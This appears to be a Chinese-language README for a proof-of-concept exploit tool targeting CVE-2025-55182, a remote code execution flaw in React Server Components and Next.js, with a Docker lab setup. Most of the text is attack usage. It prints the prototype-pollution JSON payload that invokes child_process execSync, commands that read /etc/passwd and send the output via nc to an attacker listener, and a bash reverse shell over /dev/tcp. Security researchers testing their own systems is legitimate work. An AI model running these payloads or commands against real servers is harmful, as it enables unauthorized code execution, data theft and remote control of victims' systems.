CVE-2025-55182(CVSS 10.0)关键未认证远程代码执行漏洞的概念验证利用程序,影响 React Server Components。
发现者:Lachlan Davidson - 于2025年11月29日向 Meta/React 团队披露。
该漏洞存在于 React Flight 协议的反序列化逻辑中。通过 HTTP POST 发送恶意负载,攻击者能够实现原型污染,进而导致在服务器上执行任意代码。
| 软件包 | 受影响版本 |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6 |
.
├── exploit.py # 漏洞利用脚本
├── docker-compose.yml # 易受攻击的测试环境
├── vulnerable-app/ # 易受攻击的 Next.js 应用
└── README.md
docker compose up -d
这将在 http://localhost:3000 上启动一个易受攻击的 Next.js 应用。
python3 exploit.py -u http://localhost:3000 --check
此操作执行一次非利用性检查,寻找以下指标:
python3 exploit.py -u http://localhost:3000 -c "id"
执行命令,但不显示输出。可通过以下方式验证:
python3 exploit.py -u http://localhost:3000 -c "id" --exfil <IP>:<PORT>
你的 IP 地址; 监听端口
usage: exploit.py [-h] -u URL [-c COMMAND] [--check] [--exfil HOST:PORT]
[--timeout TIMEOUT] [--no-verify]
选项:
-u, --url URL 目标 URL
-c, --command CMD 要执行的命令
--check 检查是否可被利用(非利用性)
--exfil HOST:PORT 将输出外泄至 HOST:PORT
--timeout TIMEOUT 请求超时时间(默认:10)
--no-verify 禁用 SSL 验证
# 检查漏洞
python3 exploit.py -u http://localhost:3000 --check
# 盲 RCE
python3 exploit.py -u http://localhost:3000 -c "touch /tmp/pwned"
# RCE 并获取输出
python3 exploit.py -u http://localhost:3000 -c "whoami" --exfil 172.17.0.1:9999
# 读取文件
python3 exploit.py -u http://localhost:3000 -c "cat /etc/passwd" --exfil 172.17.0.1:9999
# 反弹 Shell
python3 exploit.py -u http://localhost:3000 -c "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\": \"$B0\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
利用过程会破坏服务器状态,导致带内响应外泄不可靠。--exfil 标志使用带外外泄:
┌──────────┐ 1. 恶意 POST ┌──────────┐
│ 攻击者 │ ────────────────► │ 服务器 │
└──────────┘ └──────────┘
▲ │
│ 3. 通过 nc 接收 │ 2. RCE 执行:
│ 命令输出 │ cmd | nc 攻击者端口
│ ▼
└─────────────────────────────────┘
docker compose down
本工具仅用于授权的安全测试和教育目的。仅限对你有权测试的系统使用。